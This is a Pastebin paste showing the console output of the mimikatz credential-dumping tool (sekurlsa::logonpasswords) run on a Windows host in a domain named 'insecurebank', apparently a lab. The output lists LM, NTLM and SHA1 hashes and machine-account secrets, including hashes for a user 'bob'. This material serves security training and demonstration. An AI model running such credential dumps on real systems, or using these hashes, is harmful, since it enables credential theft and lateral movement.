API tools faq
paste
Advertisement
Guest User

mimikatz-kapi2

a guest
Jul 12th, 2017
466
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.93 KB | None | 0 0
raw download clone embed print report
  1. C:\>mimikatz.exe
  2. mimikatz.exe
  3.  
  4. .#####. mimikatz 2.1.1 (x64) built on Jun 8 2017 00:45:21
  5. .## ^ ##. "A La Vie, A L'Amour"
  6. ## / \ ## /* * *
  7. ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
  8. '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
  9. '#####' with 21 modules * * */
  10.  
  11. mimikatz # sekurlsa::logonpasswords
  12.  
  13. Authentication Id : 0 ; 2682680 (00000000:0028ef38)
  14. Session : Interactive from 2
  15. User Name : DWM-2
  16. Domain : Window Manager
  17. Logon Server : (null)
  18. Logon Time : 7/11/2017 4:42:47 AM
  19. SID : S-1-5-90-2
  20. msv :
  21. [00000003] Primary
  22. * Username :
  23. * LM : 2baaaede7c063ab7cba66496ba8fe5aa
  24. * NTLM : d341914c51133542c3f575d513e65476
  25. * SHA1 : d776b0c22e6edab1cd87a8b0f48319dad2c45474
  26. tspkg :
  27. wdigest :
  28. * Username : INTRANET$
  29. * Domain : insecurebank
  30. * Password : dc 17 16 12 d3 b5 6e 0b 93 66 04 1c b1 cc 31 69 04 52 c6 71 e5 df ac a6 03 84 4d 19 d9 90 ab d9 bd 24 ca 10 6f 16 a0 44 83 6e f9 cc 86 97 cd d5 64 a7 90 e8 53 ef da fc 00 c6 b1 08 d7 66 83 1a 24 3d 66 f9 2d 9e 01 30 3c 7b b3 03 eb 69 3c f5 2c 96 12 be 28 cc b4 0f b5 d1 e1 3e 56 b8 77 49 30 ad ad 2f 49 bd 77 27 78 ce 87 f5 2d 8b 8a 5f ec 4c fb 50 11 56 4c df d2 5c f9 ff 83 cb 64 6d cb 58 6e f4 85 84 2c e2 10 ff 28 a5 40 57 56 7b d9 a8 db 86 01 8c 96 91 b5 98 00 bf 2c 45 ac 79 03 3d 5c 4a 77 21 f4 a6 04 36 70 b0 f9 af 2e 4c 75 d9 c7 46 d3 10 3b 90 d6 bc 4f 9f e9 bf 26 a7 29 af 32 af cc d0 58 1a 32 e8 6e 06 0a db bf 68 5e 3e c8 43 54 28 52 8e 13 ae b0 fd 36 18 37 fe 9b 9a 0b 7c 9c ae c4 73 ca ba 1f 31 4c c5 25 d3
  31. kerberos :
  32. * Username : INTRANET$
  33. * Domain : insecurebank.local
  34. * Password : dc 17 16 12 d3 b5 6e 0b 93 66 04 1c b1 cc 31 69 04 52 c6 71 e5 df ac a6 03 84 4d 19 d9 90 ab d9 bd 24 ca 10 6f 16 a0 44 83 6e f9 cc 86 97 cd d5 64 a7 90 e8 53 ef da fc 00 c6 b1 08 d7 66 83 1a 24 3d 66 f9 2d 9e 01 30 3c 7b b3 03 eb 69 3c f5 2c 96 12 be 28 cc b4 0f b5 d1 e1 3e 56 b8 77 49 30 ad ad 2f 49 bd 77 27 78 ce 87 f5 2d 8b 8a 5f ec 4c fb 50 11 56 4c df d2 5c f9 ff 83 cb 64 6d cb 58 6e f4 85 84 2c e2 10 ff 28 a5 40 57 56 7b d9 a8 db 86 01 8c 96 91 b5 98 00 bf 2c 45 ac 79 03 3d 5c 4a 77 21 f4 a6 04 36 70 b0 f9 af 2e 4c 75 d9 c7 46 d3 10 3b 90 d6 bc 4f 9f e9 bf 26 a7 29 af 32 af cc d0 58 1a 32 e8 6e 06 0a db bf 68 5e 3e c8 43 54 28 52 8e 13 ae b0 fd 36 18 37 fe 9b 9a 0b 7c 9c ae c4 73 ca ba 1f 31 4c c5 25 d3
  35. ssp :
  36. credman :
  37.  
  38. Authentication Id : 0 ; 996 (00000000:000003e4)
  39. Session : Service from 0
  40. User Name : INTRANET$
  41. Domain : insecurebank
  42. Logon Server : (null)
  43. Logon Time : 7/11/2017 4:34:26 AM
  44. SID : S-1-5-20
  45. msv :
  46. [00000003] Primary
  47. * Username :
  48. * LM : 2baaaede7c063ab7cba66496ba8fe5aa
  49. * NTLM : d341914c51133542c3f575d513e65476
  50. * SHA1 : d776b0c22e6edab1cd87a8b0f48319dad2c45474
  51. tspkg :
  52. wdigest :
  53. * Username : INTRANET$
  54. * Domain : insecurebank
  55. * Password : dc 17 16 12 d3 b5 6e 0b 93 66 04 1c b1 cc 31 69 04 52 c6 71 e5 df ac a6 03 84 4d 19 d9 90 ab d9 bd 24 ca 10 6f 16 a0 44 83 6e f9 cc 86 97 cd d5 64 a7 90 e8 53 ef da fc 00 c6 b1 08 d7 66 83 1a 24 3d 66 f9 2d 9e 01 30 3c 7b b3 03 eb 69 3c f5 2c 96 12 be 28 cc b4 0f b5 d1 e1 3e 56 b8 77 49 30 ad ad 2f 49 bd 77 27 78 ce 87 f5 2d 8b 8a 5f ec 4c fb 50 11 56 4c df d2 5c f9 ff 83 cb 64 6d cb 58 6e f4 85 84 2c e2 10 ff 28 a5 40 57 56 7b d9 a8 db 86 01 8c 96 91 b5 98 00 bf 2c 45 ac 79 03 3d 5c 4a 77 21 f4 a6 04 36 70 b0 f9 af 2e 4c 75 d9 c7 46 d3 10 3b 90 d6 bc 4f 9f e9 bf 26 a7 29 af 32 af cc d0 58 1a 32 e8 6e 06 0a db bf 68 5e 3e c8 43 54 28 52 8e 13 ae b0 fd 36 18 37 fe 9b 9a 0b 7c 9c ae c4 73 ca ba 1f 31 4c c5 25 d3
  56. kerberos :
  57. * Username : intranet$
  58. * Domain : INSECUREBANK.LOCAL
  59. * Password : (null)
  60. ssp :
  61. credman :
  62.  
  63. Authentication Id : 0 ; 27950 (00000000:00006d2e)
  64. Session : UndefinedLogonType from 0
  65. User Name : (null)
  66. Domain : (null)
  67. Logon Server : (null)
  68. Logon Time : 7/11/2017 4:34:09 AM
  69. SID :
  70. msv :
  71. [00000003] Primary
  72. * Username :
  73. * LM : 2baaaede7c063ab7cba66496ba8fe5aa
  74. * NTLM : d341914c51133542c3f575d513e65476
  75. * SHA1 : d776b0c22e6edab1cd87a8b0f48319dad2c45474
  76. tspkg :
  77. wdigest :
  78. kerberos :
  79. ssp :
  80. credman :
  81.  
  82. Authentication Id : 0 ; 2686582 (00000000:0028fe76)
  83. Session : RemoteInteractive from 2
  84. User Name : bob
  85. Domain : insecurebank
  86. Logon Server : DC1
  87. Logon Time : 7/11/2017 4:42:47 AM
  88. SID : S-1-5-21-3351894726-547525560-3335809021-1108
  89. msv :
  90. [00000003] Primary
  91. * Username :
  92. * LM : cf80e7849e72b09c06bcf69bee81c992
  93. * NTLM : d9302eed3837a493642f2f64cb0e57fa
  94. * SHA1 : f43a86fbedd5513c100586b6f4a3e1265e5d2465
  95. [00010000] CredentialKeysERROR kull_m_rpc_Generic_Decode ; RPC Exception: 0x00000724 (1828)
  96.  
  97. tspkg :
  98. wdigest :
  99. * Username : bob
  100. * Domain : insecurebank
  101. * Password : 40 9b a1 a3 e4 6a 75 22 51 7c 5a 64 e2 c1 33 d4 6d f0 9a d1 2d 65 69 81 68 5b e3 f2
  102. kerberos :
  103. * Username : bob
  104. * Domain : INSECUREBANK.LOCAL
  105. * Password : (null)
  106. ssp :
  107. credman :
  108.  
  109. Authentication Id : 0 ; 1858503 (00000000:001c5bc7)
  110. Session : RemoteInteractive from 3
  111. User Name : bob
  112. Domain : insecurebank
  113. Logon Server : DC1
  114. Logon Time : 7/11/2017 4:40:27 AM
  115. SID : S-1-5-21-3351894726-547525560-3335809021-1108
  116. msv :
  117. tspkg :
  118. wdigest :
  119. kerberos :
  120. ssp :
  121. credman :
  122.  
  123. Authentication Id : 0 ; 997 (00000000:000003e5)
  124. Session : Service from 0
  125. User Name : LOCAL SERVICE
  126. Domain : NT AUTHORITY
  127. Logon Server : (null)
  128. Logon Time : 7/11/2017 4:34:27 AM
  129. SID : S-1-5-19
  130. msv :
  131. tspkg :
  132. wdigest :
  133. * Username : (null)
  134. * Domain : (null)
  135. * Password : (null)
  136. kerberos :
  137. * Username : (null)
  138. * Domain : (null)
  139. * Password : (null)
  140. ssp :
  141. credman :
  142.  
  143. Authentication Id : 0 ; 55723 (00000000:0000d9ab)
  144. Session : Interactive from 1
  145. User Name : DWM-1
  146. Domain : Window Manager
  147. Logon Server : (null)
  148. Logon Time : 7/11/2017 4:34:27 AM
  149. SID : S-1-5-90-1
  150. msv :
  151. [00000003] Primary
  152. * Username :
  153. * LM : 2baaaede7c063ab7cba66496ba8fe5aa
  154. * NTLM : d341914c51133542c3f575d513e65476
  155. * SHA1 : d776b0c22e6edab1cd87a8b0f48319dad2c45474
  156. tspkg :
  157. wdigest :
  158. * Username : INTRANET$
  159. * Domain : insecurebank
  160. * Password : dc 17 16 12 d3 b5 6e 0b 93 66 04 1c b1 cc 31 69 04 52 c6 71 e5 df ac a6 03 84 4d 19 d9 90 ab d9 bd 24 ca 10 6f 16 a0 44 83 6e f9 cc 86 97 cd d5 64 a7 90 e8 53 ef da fc 00 c6 b1 08 d7 66 83 1a 24 3d 66 f9 2d 9e 01 30 3c 7b b3 03 eb 69 3c f5 2c 96 12 be 28 cc b4 0f b5 d1 e1 3e 56 b8 77 49 30 ad ad 2f 49 bd 77 27 78 ce 87 f5 2d 8b 8a 5f ec 4c fb 50 11 56 4c df d2 5c f9 ff 83 cb 64 6d cb 58 6e f4 85 84 2c e2 10 ff 28 a5 40 57 56 7b d9 a8 db 86 01 8c 96 91 b5 98 00 bf 2c 45 ac 79 03 3d 5c 4a 77 21 f4 a6 04 36 70 b0 f9 af 2e 4c 75 d9 c7 46 d3 10 3b 90 d6 bc 4f 9f e9 bf 26 a7 29 af 32 af cc d0 58 1a 32 e8 6e 06 0a db bf 68 5e 3e c8 43 54 28 52 8e 13 ae b0 fd 36 18 37 fe 9b 9a 0b 7c 9c ae c4 73 ca ba 1f 31 4c c5 25 d3
  161. kerberos :
  162. * Username : INTRANET$
  163. * Domain : insecurebank.local
  164. * Password : dc 17 16 12 d3 b5 6e 0b 93 66 04 1c b1 cc 31 69 04 52 c6 71 e5 df ac a6 03 84 4d 19 d9 90 ab d9 bd 24 ca 10 6f 16 a0 44 83 6e f9 cc 86 97 cd d5 64 a7 90 e8 53 ef da fc 00 c6 b1 08 d7 66 83 1a 24 3d 66 f9 2d 9e 01 30 3c 7b b3 03 eb 69 3c f5 2c 96 12 be 28 cc b4 0f b5 d1 e1 3e 56 b8 77 49 30 ad ad 2f 49 bd 77 27 78 ce 87 f5 2d 8b 8a 5f ec 4c fb 50 11 56 4c df d2 5c f9 ff 83 cb 64 6d cb 58 6e f4 85 84 2c e2 10 ff 28 a5 40 57 56 7b d9 a8 db 86 01 8c 96 91 b5 98 00 bf 2c 45 ac 79 03 3d 5c 4a 77 21 f4 a6 04 36 70 b0 f9 af 2e 4c 75 d9 c7 46 d3 10 3b 90 d6 bc 4f 9f e9 bf 26 a7 29 af 32 af cc d0 58 1a 32 e8 6e 06 0a db bf 68 5e 3e c8 43 54 28 52 8e 13 ae b0 fd 36 18 37 fe 9b 9a 0b 7c 9c ae c4 73 ca ba 1f 31 4c c5 25 d3
  165. ssp :
  166. credman :
  167.  
  168. Authentication Id : 0 ; 999 (00000000:000003e7)
  169. Session : UndefinedLogonType from 0
  170. User Name : INTRANET$
  171. Domain : insecurebank
  172. Logon Server : (null)
  173. Logon Time : 7/11/2017 4:34:07 AM
  174. SID : S-1-5-18
  175. msv :
  176. tspkg :
  177. wdigest :
  178. * Username : INTRANET$
  179. * Domain : insecurebank
  180. * Password : dc 17 16 12 d3 b5 6e 0b 93 66 04 1c b1 cc 31 69 04 52 c6 71 e5 df ac a6 03 84 4d 19 d9 90 ab d9 bd 24 ca 10 6f 16 a0 44 83 6e f9 cc 86 97 cd d5 64 a7 90 e8 53 ef da fc 00 c6 b1 08 d7 66 83 1a 24 3d 66 f9 2d 9e 01 30 3c 7b b3 03 eb 69 3c f5 2c 96 12 be 28 cc b4 0f b5 d1 e1 3e 56 b8 77 49 30 ad ad 2f 49 bd 77 27 78 ce 87 f5 2d 8b 8a 5f ec 4c fb 50 11 56 4c df d2 5c f9 ff 83 cb 64 6d cb 58 6e f4 85 84 2c e2 10 ff 28 a5 40 57 56 7b d9 a8 db 86 01 8c 96 91 b5 98 00 bf 2c 45 ac 79 03 3d 5c 4a 77 21 f4 a6 04 36 70 b0 f9 af 2e 4c 75 d9 c7 46 d3 10 3b 90 d6 bc 4f 9f e9 bf 26 a7 29 af 32 af cc d0 58 1a 32 e8 6e 06 0a db bf 68 5e 3e c8 43 54 28 52 8e 13 ae b0 fd 36 18 37 fe 9b 9a 0b 7c 9c ae c4 73 ca ba 1f 31 4c c5 25 d3
  181. kerberos :
  182. * Username : intranet$
  183. * Domain : INSECUREBANK.LOCAL
  184. * Password : (null)
  185. ssp :
  186. credman :
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!